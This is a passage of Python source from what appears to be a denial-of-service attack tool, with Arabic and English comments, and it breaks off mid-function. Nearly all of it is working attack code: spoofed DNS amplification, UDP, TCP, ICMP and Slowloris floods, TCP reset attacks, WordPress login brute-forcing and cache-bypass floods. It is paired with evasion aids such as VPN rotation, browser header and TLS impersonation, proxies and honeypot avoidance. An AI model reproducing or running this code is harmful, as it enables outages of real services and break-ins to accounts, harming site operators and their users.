| """هجوم تضخيم DNS (يتطلب صلاحيات Admin لـ Spoofing)""" | |
| if not SCAPY_AVAILABLE: | |
| print("[!] Scapy missing for DNS amplification") | |
| return | |
| from scapy.all import IP, UDP, DNS, DNSQR, send | |
| resolvers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168"] | |
| domains = ["isc.org", "google.com", "microsoft.com", "facebook.com", "cloudflare.com"] | |
| sent = 0 | |
| for _ in range(count): | |
| try: | |
| pkt = IP(src=target_ip, dst=random.choice(resolvers)) / \ | |
| UDP(sport=random.randint(1024, 65535), dport=target_port) / \ | |
| DNS(rd=1, qd=DNSQR(qname=random.choice(domains), qtype="ANY")) | |
| send(pkt, verbose=False) | |
| sent += 1 | |
| except Exception: | |
| pass | |
| print(f"[+] DNS Amplification sent {sent} spoofed packets to {target_ip}") | |
| class VPNRotator: | |
| WARP_CLI_PATHS = [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| ] | |
| def __init__(self, vpn_mode: str, interval_seconds: int = 300, log_callback=None): | |
| self.vpn_mode = vpn_mode | |
| self.interval = interval_seconds | |
| self._stop_event = threading.Event() | |
| self._thread = None | |
| self.log_callback = log_callback | |
| def _log(self, message: str, level: str = "INFO"): | |
| if callable(self.log_callback): | |
| try: | |
| self.log_callback(message, level) | |
| except Exception: | |
| pass | |
| else: | |
| print(message) | |
| def start(self): | |
| self._stop_event.clear() | |
| self._thread = threading.Thread(target=self._rotation_loop, daemon=True) | |
| self._thread.start() | |
| def stop(self): | |
| self._stop_event.set() | |
| if self._thread: | |
| self._thread.join(timeout=2) | |
| def _rotation_loop(self): | |
| while not self._stop_event.wait(self.interval): | |
| try: | |
| self._rotate() | |
| except Exception: | |
| pass | |
| def _rotate(self): | |
| if "Cloudflare" in self.vpn_mode or "WARP" in self.vpn_mode: | |
| warp_cli = None | |
| all_paths = self.WARP_CLI_PATHS + ["/usr/bin/warp-cli", "/usr/local/bin/warp-cli"] | |
| for p in all_paths: | |
| if os.path.exists(p): | |
| warp_cli = p | |
| break | |
| if warp_cli: | |
| subprocess.run([warp_cli, "disconnect"], capture_output=True, timeout=10) | |
| time.sleep(2) | |
| subprocess.run([warp_cli, "set-mode", "warp+doh"], capture_output=True, timeout=5) | |
| subprocess.run([warp_cli, "connect"], capture_output=True, timeout=10) | |
| time.sleep(3) | |
| elif "Tuxler" in self.vpn_mode: | |
| mode_desc = "Residential" if "Residential" in self.vpn_mode else "Data Center" if "Data Center" in self.vpn_mode else "Default" | |
| subprocess.run(["taskkill", "/F", "/IM", "TuxlerVPN.exe"], capture_output=True) | |
| time.sleep(2) | |
| for p in [os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe"]: | |
| if os.path.exists(p): | |
| subprocess.Popen([p]) | |
| self._log(f"[VPN] Restarted Tuxler VPN ({mode_desc})", "INFO") | |
| break | |
| elif "IP Sharkk" in self.vpn_mode: | |
| subprocess.run(["taskkill", "/F", "/IM", "IPSharkk.exe"], capture_output=True) | |
| time.sleep(2) | |
| for p in [r"C:\Program Files\IPSharkk\IPSharkk.exe", | |
| r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe"]: | |
| if os.path.exists(p): | |
| subprocess.Popen([p]) | |
| self._log("[VPN] Restarted IP Sharkk", "INFO") | |
| break | |
| def get_current_vpn(self): | |
| return self.vpn_mode | |
| def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]: | |
| return {} | |
| # ============================================================================ | |
| # دوال مساعدة لـ HTTP والهجمات الكلاسيكية | |
| # ============================================================================ | |
| def add_api_bypass(url: str) -> str: | |
| """ | |
| أضف ?api= إلى الرابط إذا لم تكن موجودة. | |
| يتم التحقق من وجود 'api=' في سلسلة الاستعلام. | |
| """ | |
| if 'api=' in url: | |
| return url | |
| parsed = urllib.parse.urlparse(url) | |
| query = parsed.query | |
| if query: | |
| new_query = query + '&api=1' | |
| else: | |
| new_query = 'api=1' | |
| return urllib.parse.urlunparse(parsed._replace(query=new_query)) | |
| def normalize_http_url(url: str, app_mode: bool, random_query: bool) -> str: | |
| parsed = urllib.parse.urlparse(url) | |
| path = parsed.path or "/" | |
| if app_mode and path in {"", "/"}: | |
| path = random.choice(APPLICATION_PATHS) | |
| query = parsed.query or "" | |
| if random_query: | |
| rand = f"rand={random.randint(100000, 999999)}" | |
| query = f"{query}&{rand}" if query else rand | |
| return urllib.parse.urlunparse(parsed._replace(path=path, query=query)) | |
| def load_proxy_list(filepath: str) -> list[str]: | |
| proxies = [] | |
| if not os.path.isfile(filepath): | |
| return proxies | |
| with open(filepath, "r", encoding="utf-8") as f: | |
| for line in f: | |
| line = line.strip() | |
| if line and not line.startswith("#"): | |
| proxies.append(line) | |
| return proxies | |
| def start_local_http_server(port: int): | |
| server = ThreadingTCPServer(("127.0.0.1", port), SimpleHTTPRequestHandler) | |
| thread = Thread(target=server.serve_forever, daemon=True) | |
| thread.start() | |
| return server | |
| def start_local_xmlrpc_server(port: int): | |
| server = SimpleXMLRPCServer(("127.0.0.1", port), logRequests=False, allow_none=True) | |
| def pingback(source, target): | |
| return f"received from {source} to {target}" | |
| server.register_function(pingback, "pingback") | |
| thread = Thread(target=server.serve_forever, daemon=True) | |
| thread.start() | |
| return server | |
| def is_local_target(host: str) -> bool: | |
| normalized = host.lower().strip() | |
| if normalized.startswith("[") and normalized.endswith("]"): | |
| normalized = normalized[1:-1] | |
| return normalized in {"127.0.0.1", "localhost", "::1"} | |
| def ensure_safe_target(target: str, allow_remote: bool, mode: str): | |
| parsed = urllib.parse.urlparse(target) | |
| host = parsed.hostname or target | |
| if is_local_target(host): | |
| return True | |
| if not allow_remote: | |
| raise ValueError(f"Remote targets are disabled: {host}") | |
| return True | |
| def build_request(url: str, method: str, headers: dict, data: bytes = None): | |
| return urllib.request.Request(url, data=data, headers=headers, method=method) | |
| def get_random_playwright_headers() -> dict[str, str]: | |
| if not PLAYWRIGHT_AVAILABLE: | |
| return {} | |
| with sync_playwright() as pw: | |
| device_name = random.choice(["iPhone 13", "Pixel 5", "Desktop Chrome", "Desktop Firefox"]) | |
| device = pw.devices.get(device_name, {}) | |
| headers = { | |
| "User-Agent": device.get("user_agent", random.choice(USER_AGENTS)), | |
| "Accept-Language": device.get("locale", "en-US,en;q=0.9"), | |
| "Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Sec-CH-UA": device.get("user_agent", '"Chromium";v="124"'), | |
| "Sec-CH-UA-Mobile": device.get("mobile", "?0"), | |
| "Sec-CH-UA-Platform": device.get("platform", "Windows"), | |
| "Upgrade-Insecure-Requests": "1", | |
| "Pragma": "no-cache", | |
| "Cache-Control": "no-cache", | |
| } | |
| if device.get("platform"): | |
| headers["Sec-CH-UA-Platform"] = device["platform"] | |
| return headers | |
| def build_http_headers(extra_headers: bool | dict, keepalive: bool, playwright_headers: dict = None, identity: SessionIdentity = None) -> dict[str, str]: | |
| if identity: | |
| headers = identity.get_headers(keepalive=keepalive) | |
| if playwright_headers: | |
| headers.update(playwright_headers) | |
| if isinstance(extra_headers, dict): | |
| headers.update(extra_headers) | |
| return headers | |
| headers = { | |
| "User-Agent": random.choice(USER_AGENTS), | |
| "Accept": random.choice(REALISTIC_ACCEPTS), | |
| "Accept-Encoding": random.choice(["gzip, deflate, br", "gzip, deflate", "br, gzip, deflate"]), | |
| "Connection": "keep-alive" if keepalive else "close", | |
| "Upgrade-Insecure-Requests": "1", | |
| } | |
| if isinstance(extra_headers, dict): | |
| headers.update(extra_headers) | |
| elif extra_headers: | |
| headers["Accept-Language"] = random.choice(["en-US,en;q=0.9", "ar-SA,ar;q=0.8,en-US;q=0.6,en;q=0.4"]) | |
| headers["Cache-Control"] = "no-cache" | |
| headers["Pragma"] = "no-cache" | |
| headers["Referer"] = random.choice(["https://www.google.com/", "https://www.bing.com/", "https://www.yahoo.com/"]) | |
| headers["Origin"] = random.choice(["https://www.google.com", "https://www.bing.com", "https://www.yahoo.com"]) | |
| headers["Sec-Fetch-Site"] = random.choice(["same-origin", "same-site", "cross-site", "none"]) | |
| headers["Sec-Fetch-Mode"] = random.choice(["navigate", "cors", "no-cors"]) | |
| headers["Sec-Fetch-Dest"] = random.choice(["document", "empty", "iframe"]) | |
| headers["Sec-Fetch-User"] = "?1" | |
| headers["Sec-CH-UA"] = random.choice(["\"Chromium\";v=\"124\"", "\"Google Chrome\";v=\"124\"", "\"Not.A/Brand\";v=\"99\""]) | |
| headers["Sec-CH-UA-Mobile"] = random.choice(["?0", "?1"]) | |
| headers["Sec-CH-UA-Platform"] = random.choice(["Windows", "macOS", "Android", "iOS"]) | |
| if playwright_headers: | |
| headers.update(playwright_headers) | |
| return headers | |
| _tarpit_detector = TarpitDetector() | |
| def cffi_http_request(url: str, method: str, payload: str, identity: SessionIdentity, timeout: int = 5, random_query: bool = False, app_mode: bool = False): | |
| url = normalize_http_url(url, app_mode, random_query) | |
| headers = identity.get_headers(keepalive=False) | |
| header_rotator = AdvancedHeaderRotator() | |
| headers = header_rotator.get_obfuscated_headers(headers) | |
| parsed = urllib.parse.urlparse(url) | |
| if parsed.hostname: | |
| headers["Host"] = parsed.hostname | |
| tls_target = identity.profile.get("tls_impersonate", "chrome124") | |
| data = None | |
| if method == "POST": | |
| data = payload or "message=payload" | |
| headers["Content-Type"] = "application/x-www-form-urlencoded" | |
| proxies = None | |
| if identity.proxy: | |
| proxies = {"http": identity.proxy, "https": identity.proxy} | |
| start = time.monotonic() | |
| try: | |
| resp = cffi_requests.request( | |
| method, url, | |
| headers=headers, | |
| data=data, | |
| timeout=timeout, | |
| impersonate=tls_target, | |
| proxies=proxies, | |
| allow_redirects=True, | |
| ) | |
| elapsed = time.monotonic() - start | |
| content_len = len(resp.content) if resp.content else 0 | |
| if _tarpit_detector.is_tarpitted(content_len, elapsed): | |
| return "TARPIT_DETECTED", elapsed | |
| return resp.status_code, elapsed | |
| except Exception as exc: | |
| elapsed = time.monotonic() - start | |
| return str(exc), elapsed | |
| thread_local = threading.local() | |
| def _get_keepalive_connection(parsed: urllib.parse.ParseResult, timeout: int, proxy: str = None): | |
| conn = getattr(thread_local, "conn", None) | |
| port = parsed.port or (443 if parsed.scheme == "https" else 80) | |
| if conn is None or getattr(conn, "host", None) != parsed.hostname or getattr(conn, "port", None) != port or getattr(conn, "proxy", None) != proxy: | |
| if conn is not None: | |
| try: | |
| conn.close() | |
| except Exception: | |
| pass | |
| if proxy: | |
| proxy_parts = proxy.replace("http://", "").replace("https://", "").replace("socks5://", "").split(":") | |
| proxy_host = proxy_parts[0] | |
| proxy_port = int(proxy_parts[1]) if len(proxy_parts) > 1 else 8080 | |
| if parsed.scheme == "https": | |
| context = ssl.create_default_context() | |
| conn = http.client.HTTPSConnection(proxy_host, proxy_port, timeout=timeout, context=context) | |
| conn.set_tunnel(parsed.hostname, port) | |
| else: | |
| conn = http.client.HTTPConnection(proxy_host, proxy_port, timeout=timeout) | |
| # For HTTP proxy, we need to send the full URL in the request line, which requires changing keepalive_http_request | |
| # This basic implementation sets up the connection object | |
| else: | |
| if parsed.scheme == "https": | |
| context = ssl.create_default_context() | |
| conn = http.client.HTTPSConnection(parsed.hostname, port, timeout=timeout, context=context) | |
| else: | |
| conn = http.client.HTTPConnection(parsed.hostname, port, timeout=timeout) | |
| conn.proxy = proxy | |
| thread_local.conn = conn | |
| return conn | |
| def keepalive_http_request(url: str, method: str, payload: str, extra_headers: bool, timeout: int = 5, playwright_headers: dict = None, random_query: bool = False, app_mode: bool = False, identity: SessionIdentity = None): | |
| url = normalize_http_url(url, app_mode, random_query) | |
| parsed = urllib.parse.urlparse(url) | |
| proxy = identity.proxy if identity else None | |
| path = parsed.path or "/" | |
| if parsed.query: | |
| path += "?" + parsed.query | |
| # If using HTTP proxy (not HTTPS tunnel), we need the full URL in the request line | |
| if proxy and parsed.scheme == "http": | |
| path = url | |
| headers = build_http_headers(extra_headers, keepalive=True, playwright_headers=playwright_headers, identity=identity) | |
| header_rotator = AdvancedHeaderRotator() | |
| headers = header_rotator.get_obfuscated_headers(headers) | |
| if parsed.hostname: | |
| headers["Host"] = parsed.hostname | |
| body = None | |
| if method == "POST": | |
| body = (payload or "message=payload").encode("utf-8") | |
| headers["Content-Type"] = "application/x-www-form-urlencoded" | |
| headers["Content-Length"] = str(len(body)) | |
| conn = _get_keepalive_connection(parsed, timeout, proxy=proxy) | |
| start = time.monotonic() | |
| try: | |
| conn.request(method, path, body=body, headers=headers) | |
| response = conn.getresponse() | |
| resp_data = response.read() | |
| elapsed = time.monotonic() - start | |
| if _tarpit_detector.is_tarpitted(len(resp_data), elapsed): | |
| return "TARPIT_DETECTED", elapsed | |
| if app_mode and BS4_AVAILABLE and "text/html" in response.getheader("Content-Type", ""): | |
| HoneypotEvader.extract_safe_links(resp_data) | |
| status = response.status | |
| return status, elapsed | |
| except Exception as exc: | |
| try: | |
| conn.close() | |
| except Exception: | |
| pass | |
| thread_local.conn = None | |
| elapsed = time.monotonic() - start | |
| return str(exc), elapsed | |
| def http_request(url: str, method: str, payload: str, extra_headers: bool, timeout: int = 5, playwright_headers: dict = None, random_query: bool = False, app_mode: bool = False, identity: SessionIdentity = None, ai_payload: bool = False): | |
| url = normalize_http_url(url, app_mode, random_query) | |
| headers = build_http_headers(extra_headers, keepalive=False, playwright_headers=playwright_headers, identity=identity) | |
| header_rotator = AdvancedHeaderRotator() | |
| headers = header_rotator.get_obfuscated_headers(headers) | |
| data = None | |
| if method == "POST": | |
| if ai_payload: | |
| body = AIPayloadGenerator.generate_json_data(payload_type=random.choice(["login", "comment", "search"])) | |
| headers["Content-Type"] = "application/json" | |
| else: | |
| body = payload or "message=payload" | |
| headers["Content-Type"] = "application/x-www-form-urlencoded" | |
| data = body.encode("utf-8") | |
| headers["Content-Length"] = str(len(data)) | |
| opener = identity.opener if identity else urllib.request.build_opener() | |
| request = build_request(url, method, headers, data) | |
| start = time.monotonic() | |
| try: | |
| with opener.open(request, timeout=timeout) as response: | |
| resp_data = response.read() | |
| elapsed = time.monotonic() - start | |
| if _tarpit_detector.is_tarpitted(len(resp_data), elapsed): | |
| return "TARPIT_DETECTED", elapsed | |
| if app_mode and BS4_AVAILABLE and "text/html" in response.headers.get("Content-Type", ""): | |
| HoneypotEvader.extract_safe_links(resp_data) | |
| return response.status, elapsed | |
| except urllib.error.HTTPError as exc: | |
| elapsed = time.monotonic() - start | |
| return f"HTTP {exc.code}", elapsed | |
| except Exception as exc: | |
| elapsed = time.monotonic() - start | |
| return str(exc), elapsed | |
| def slow_http_post_request(url: str, payload: str, chunk_size: int, chunk_delay: float, extra_headers: bool, timeout: int = 10): | |
| parsed = urllib.parse.urlparse(url) | |
| host = parsed.hostname or "127.0.0.1" | |
| port = parsed.port or (443 if parsed.scheme == "https" else 80) | |
| path = parsed.path or "/" | |
| if parsed.query: | |
| path += "?" + parsed.query | |
| headers = { | |
| "Host": host, | |
| "User-Agent": random.choice(USER_AGENTS), | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
| "Content-Type": "application/x-www-form-urlencoded", | |
| } | |
| if extra_headers: | |
| headers["Cache-Control"] = "no-cache" | |
| headers["Accept-Language"] = "en-US,en;q=0.9" | |
| body = payload.encode("utf-8") | |
| headers["Content-Length"] = str(len(body)) | |
| request_lines = [f"POST {path} HTTP/1.1"] | |
| request_lines += [f"{name}: {value}" for name, value in headers.items()] | |
| request_lines.append("Connection: close") | |
| request_lines.append("") | |
| raw_request = "\r\n".join(request_lines).encode("utf-8") | |
| start = time.monotonic() | |
| sock = socket.create_connection((host, port), timeout=timeout) | |
| if parsed.scheme == "https": | |
| context = ssl.create_default_context() | |
| sock = context.wrap_socket(sock, server_hostname=host) | |
| sock.sendall(raw_request) | |
| offset = 0 | |
| while offset < len(body): | |
| chunk = body[offset:offset + chunk_size] | |
| sock.sendall(chunk) | |
| offset += len(chunk) | |
| time.sleep(chunk_delay) | |
| response = b"" | |
| try: | |
| sock.settimeout(timeout) | |
| while True: | |
| data = sock.recv(4096) | |
| if not data: | |
| break | |
| response += data | |
| except socket.timeout: | |
| pass | |
| finally: | |
| sock.close() | |
| elapsed = time.monotonic() - start | |
| return response.split(b" ")[1].decode("utf-8", errors="ignore") if b" " in response else "NO RESPONSE", elapsed | |
| def xmlrpc_request(target: str, source: str, extra_headers: bool, timeout: int = 10): | |
| proxy = xmlrpc.client.ServerProxy(target, allow_none=True) | |
| start = time.monotonic() | |
| try: | |
| result = proxy.pingback(source, target) | |
| elapsed = time.monotonic() - start | |
| return result, elapsed | |
| except Exception as exc: | |
| elapsed = time.monotonic() - start | |
| return str(exc), elapsed | |
| def udp_fragment_flood(host: str, port: int, total_packets: int, packet_size: int, rate: float, duration: float, logger): | |
| print(f"Starting UDP fragment flood: {host}:{port}, packets={total_packets}, size={packet_size}") | |
| start_time = time.monotonic() | |
| statuses = {} | |
| packets_sent = 0 | |
| num_socks = min(16, os.cpu_count() or 4) | |
| socks = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(num_socks)] | |
| for s in socks: | |
| try: | |
| s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1048576) | |
| except Exception: | |
| pass | |
| while (duration and time.monotonic() < start_time + duration) or (not duration and packets_sent < total_packets): | |
| try: | |
| payload = os.urandom(packet_size) | |
| sock = socks[packets_sent % num_socks] | |
| sock.sendto(payload, (host, port)) | |
| statuses["sent"] = statuses.get("sent", 0) + 1 | |
| except Exception as exc: | |
| statuses[str(exc)] = statuses.get(str(exc), 0) + 1 | |
| packets_sent += 1 | |
| if not duration and packets_sent >= total_packets: | |
| break | |
| for s in socks: | |
| s.close() | |
| elapsed = time.monotonic() - start_time | |
| rps = packets_sent / elapsed if elapsed > 0 else 0 | |
| print(f"UDP fragment flood complete. Elapsed: {elapsed:.2f}s | Packets: {packets_sent} | PPS: {rps:.0f}") | |
| def tcp_connection_single(host: str, port: int, send_payload: bool, timeout: int = 5): | |
| start = time.monotonic() | |
| sock = None | |
| try: | |
| sock = socket.create_connection((host, port), timeout=timeout) | |
| if send_payload: | |
| payload = f"GET / HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode() | |
| sock.sendall(payload) | |
| return "OK", time.monotonic() - start | |
| except Exception as exc: | |
| return str(exc), time.monotonic() - start | |
| finally: | |
| if sock is not None: | |
| try: | |
| sock.close() | |
| except Exception: | |
| pass | |
| def tcp_connection_flood(host: str, port: int, total_connections: int, workers: int, send_payload: bool, rate: float, duration: float, logger): | |
| if total_connections <= 0 and not duration: | |
| total_connections = 100 | |
| print(f"Starting TCP connection flood: {host}:{port}, connections={total_connections}, workers={workers}") | |
| start_time = time.monotonic() | |
| statuses = {} | |
| latencies = [] | |
| futures = [] | |
| interval = 1.0 / rate if rate and rate > 0 else 0.0 | |
| next_send = start_time | |
| def submit_connection(executor): | |
| return executor.submit(tcp_connection_single, host, port, send_payload) | |
| with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: | |
| if duration and duration > 0: | |
| end_time = start_time + duration | |
| attempts = 0 | |
| while time.monotonic() < end_time: | |
| now = time.monotonic() | |
| if rate and rate > 0 and now < next_send: | |
| time.sleep(next_send - now) | |
| continue | |
| futures.append(submit_connection(executor)) | |
| attempts += 1 | |
| if rate and rate > 0: | |
| next_send += interval | |
| print(f"Submitted {attempts} connections in {duration:.1f}s") | |
| else: | |
| for _ in range(total_connections): | |
| now = time.monotonic() | |
| if rate and rate > 0 and now < next_send: | |
| time.sleep(next_send - now) | |
| futures.append(submit_connection(executor)) | |
| if rate and rate > 0: | |
| next_send += interval | |
| for future in concurrent.futures.as_completed(futures): | |
| status, latency = future.result() | |
| statuses[str(status)] = statuses.get(str(status), 0) + 1 | |
| if isinstance(latency, float): | |
| latencies.append(latency) | |
| elapsed = time.monotonic() - start_time | |
| success_count = statuses.get("OK", 0) | |
| error_count = sum(count for status, count in statuses.items() if status != "OK") | |
| logger.info("TCP connection flood complete: %d connections, %d success, %d errors", sum(statuses.values()), success_count, error_count) | |
| def udp_flood(host: str, port: int, total_packets: int, packet_size: int, rate: float, duration: float, logger): | |
| print(f"Starting UDP flood: {host}:{port}, packets={total_packets}, size={packet_size}") | |
| start_time = time.monotonic() | |
| statuses = {} | |
| packets_sent = 0 | |
| num_socks = min(32, os.cpu_count() or 4) | |
| socks = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(num_socks)] | |
| for s in socks: | |
| try: | |
| s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1048576) | |
| except Exception: | |
| pass | |
| while (duration and time.monotonic() < start_time + duration) or (not duration and packets_sent < total_packets): | |
| try: | |
| payload = os.urandom(packet_size) | |
| sock = socks[packets_sent % num_socks] | |
| sock.sendto(payload, (host, port)) | |
| statuses["sent"] = statuses.get("sent", 0) + 1 | |
| except Exception as exc: | |
| statuses[str(exc)] = statuses.get(str(exc), 0) + 1 | |
| packets_sent += 1 | |
| if not duration and packets_sent >= total_packets: | |
| break | |
| for s in socks: | |
| s.close() | |
| elapsed = time.monotonic() - start_time | |
| rps = packets_sent / elapsed if elapsed > 0 else 0 | |
| logger.info("UDP flood complete: %d packets, PPS: %.0f", packets_sent, rps) | |
| def slowloris_attack(host: str, port: int, total_connections: int, rate: float, duration: float, logger): | |
| print(f"Starting Slowloris: {host}:{port}, sockets={total_connections}") | |
| start_time = time.monotonic() | |
| sockets = [] | |
| failures = 0 | |
| run_duration = duration if duration and duration > 0 else 300 | |
| for _ in range(total_connections): | |
| try: | |
| sock = socket.create_connection((host, port), timeout=4) | |
| sock.settimeout(None) | |
| path = random.choice(["/", "/index.html", "/api", "/login", "/search"]) | |
| request = ( | |
| f"GET {path} HTTP/1.1\r\n" | |
| f"Host: {host}\r\n" | |
| f"User-Agent: {random.choice(USER_AGENTS)}\r\n" | |
| f"Accept: {random.choice(REALISTIC_ACCEPTS)}\r\n" | |
| f"Accept-Language: en-US,en;q=0.9\r\n" | |
| f"Connection: keep-alive\r\n" | |
| f"Content-Length: 100000\r\n" | |
| ) | |
| sock.sendall(request.encode("utf-8")) | |
| sockets.append(sock) | |
| except Exception: | |
| failures += 1 | |
| print(f"[Slowloris] Phase 1: {len(sockets)} sockets opened ({failures} failed)") | |
| keep_alive_round = 0 | |
| end_time = start_time + run_duration | |
| while time.monotonic() < end_time and sockets: | |
| keep_alive_round += 1 | |
| print(f"[Slowloris] Keep-alive round {keep_alive_round} | Active sockets: {len(sockets)}") | |
| dead = [] | |
| for sock in sockets: | |
| try: | |
| header = f"X-Req-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n" | |
| sock.sendall(header.encode("utf-8")) | |
| except Exception: | |
| dead.append(sock) | |
| for d in dead: | |
| try: | |
| d.close() | |
| except Exception: | |
| pass | |
| sockets.remove(d) | |
| refill = min(len(dead), total_connections - len(sockets)) | |
| for _ in range(refill): | |
| try: | |
| sock = socket.create_connection((host, port), timeout=4) | |
| sock.settimeout(None) | |
| path = random.choice(["/", "/index.html", "/api"]) | |
| request = ( | |
| f"GET {path} HTTP/1.1\r\n" | |
| f"Host: {host}\r\n" | |
| f"User-Agent: {random.choice(USER_AGENTS)}\r\n" | |
| f"Connection: keep-alive\r\n" | |
| f"Content-Length: 100000\r\n" | |
| ) | |
| sock.sendall(request.encode("utf-8")) | |
| sockets.append(sock) | |
| except Exception: | |
| pass | |
| time.sleep(random.uniform(10, 15)) | |
| for sock in sockets: | |
| try: | |
| sock.close() | |
| except Exception: | |
| pass | |
| elapsed = time.monotonic() - start_time | |
| print(f"Slowloris complete. Duration: {elapsed:.1f}s | Rounds: {keep_alive_round}") | |
| def tcp_rst_single(host: str, port: int, timeout: int = 5): | |
| try: | |
| sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| sock.settimeout(timeout) | |
| sock.connect((host, port)) | |
| linger = struct.pack("ii", 1, 0) | |
| sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, linger) | |
| sock.close() | |
| return True | |
| except Exception as exc: | |
| return str(exc) | |
| def tcp_rst_attack(host: str, port: int, total_connections: int, rate: float, duration: float, logger): | |
| print(f"Starting TCP reset-style attack: {host}:{port}, attempts={total_connections}") | |
| start_time = time.monotonic() | |
| statuses = {} | |
| attempts = 0 | |
| interval = 1.0 / rate if rate and rate > 0 else 0.0 | |
| next_send = start_time | |
| while (duration and time.monotonic() < start_time + duration) or (not duration and attempts < total_connections): | |
| now = time.monotonic() | |
| if rate and rate > 0 and now < next_send: | |
| time.sleep(next_send - now) | |
| continue | |
| result = tcp_rst_single(host, port) | |
| status = "OK" if result is True else str(result) | |
| statuses[status] = statuses.get(status, 0) + 1 | |
| attempts += 1 | |
| if rate and rate > 0: | |
| next_send += interval | |
| if not duration and attempts >= total_connections: | |
| break | |
| elapsed = time.monotonic() - start_time | |
| logger.info("TCP reset-style attack complete: %d attempts", attempts) | |
| # ============================================================================ | |
| # MISSING ATTACK VECTORS – FROM DDoS_Reference.html | |
| # (Previously undocumented in this tool) | |
| # ============================================================================ | |
| def icmp_flood(host: str, count: int = 10000, duration: float = 60.0): | |
| """ICMP Ping Flood – استنزاف النطاق الترددي عبر حزم Ping""" | |
| import struct, socket, time, os | |
| # Build ICMP Echo Request packet | |
| def _checksum(data): | |
| s = 0 | |
| for i in range(0, len(data), 2): | |
| w = (data[i] << 8) + (data[i + 1] if i + 1 < len(data) else 0) | |
| s = (s + w) & 0xFFFF | |
| return ~s & 0xFFFF | |
| def _build_icmp_packet(): | |
| header = struct.pack('!BBHHH', 8, 0, 0, os.getpid() & 0xFFFF, 1) | |
| payload = b'X' * 56 | |
| chk = _checksum(header + payload) | |
| header = struct.pack('!BBHHH', 8, 0, chk, os.getpid() & 0xFFFF, 1) | |
| return header + payload | |
| try: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) | |
| except PermissionError: | |
| print("[!] ICMP Flood requires Administrator/root privileges.") | |
| return | |
| packet = _build_icmp_packet() | |
| sent = 0 | |
| start = time.monotonic() | |
| print(f"[*] Starting ICMP Flood → {host} | duration={duration}s") | |
| while time.monotonic() - start < duration and (count == 0 or sent < count): | |
| try: | |
| s.sendto(packet, (host, 0)) | |
| sent += 1 | |
| except Exception: | |
| pass | |
| s.close() | |
| print(f"[✓] ICMP Flood done. Sent {sent} packets in {time.monotonic()-start:.1f}s") | |
| def wp_login_flood(url: str, usernames: list = None, passwords: list = None, | |
| workers: int = 100, duration: float = 60.0, logger=None): | |
| """ | |
| WordPress wp-login.php Brute-force / Resource Exhaustion. | |
| يغرق صفحة تسجيل الدخول بطلبات POST مكثفة لاستنزاف موارد PHP وقاعدة البيانات. | |
| """ | |
| import requests as _req, threading, time, random | |
| usernames = usernames or ["admin", "administrator", "user", "root", "test"] | |
| passwords = passwords or ["password", "123456", "admin", "pass", "test123"] | |
| login_url = url.rstrip("/") + "/wp-login.php" | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "ok": 0, "fail": 0} | |
| lock = threading.Lock() | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| user = random.choice(usernames) | |
| pwd = random.choice(passwords) | |
| data = {"log": user, "pwd": pwd, "wp-submit": "Log In", | |
| "redirect_to": "/wp-admin/", "testcookie": "1"} | |
| try: | |
| r = session.post(login_url, data=data, timeout=5, allow_redirects=False, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code in (200, 302): | |
| counters["ok"] += 1 | |
| else: | |
| counters["fail"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["fail"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] WP-Login Flood done. Sent={counters['sent']} OK={counters['ok']} Fail={counters['fail']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def cache_bypass_flood(url: str, workers: int = 200, duration: float = 60.0, | |
| method: str = "GET", logger=None): | |
| """ | |
| Cache Bypass Attack – تجاوز التخزين المؤقت بإضافة متغيرات عشوائية للروابط. | |
| يُجبر الخادم على توليد كل صفحة ديناميكياً من PHP وقاعدة البيانات. | |
| """ | |
| import requests as _req, threading, time, random, string | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "bypass": 0} | |
| lock = threading.Lock() | |
| def _random_param(length=8): | |
| return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) | |
| def _worker(): | |
| session = _req.Session() | |
| headers = {"User-Agent": f"Mozilla/5.0 Cache-Bypass/{random.randint(1,9999)}", | |
| "Cache-Control": "no-cache, no-store", | |
| "Pragma": "no-cache"} | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| # Add random query params to bust cache | |
| bypass_url = f"{url}?{_random_param()}={_random_param()}&nocache={random.randint(1,999999)}" | |
| try: | |
| r = session.request(method, bypass_url, headers=headers, timeout=5, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code < 400: | |
| counters["bypass"] += 1 | |
| except Exception: | |
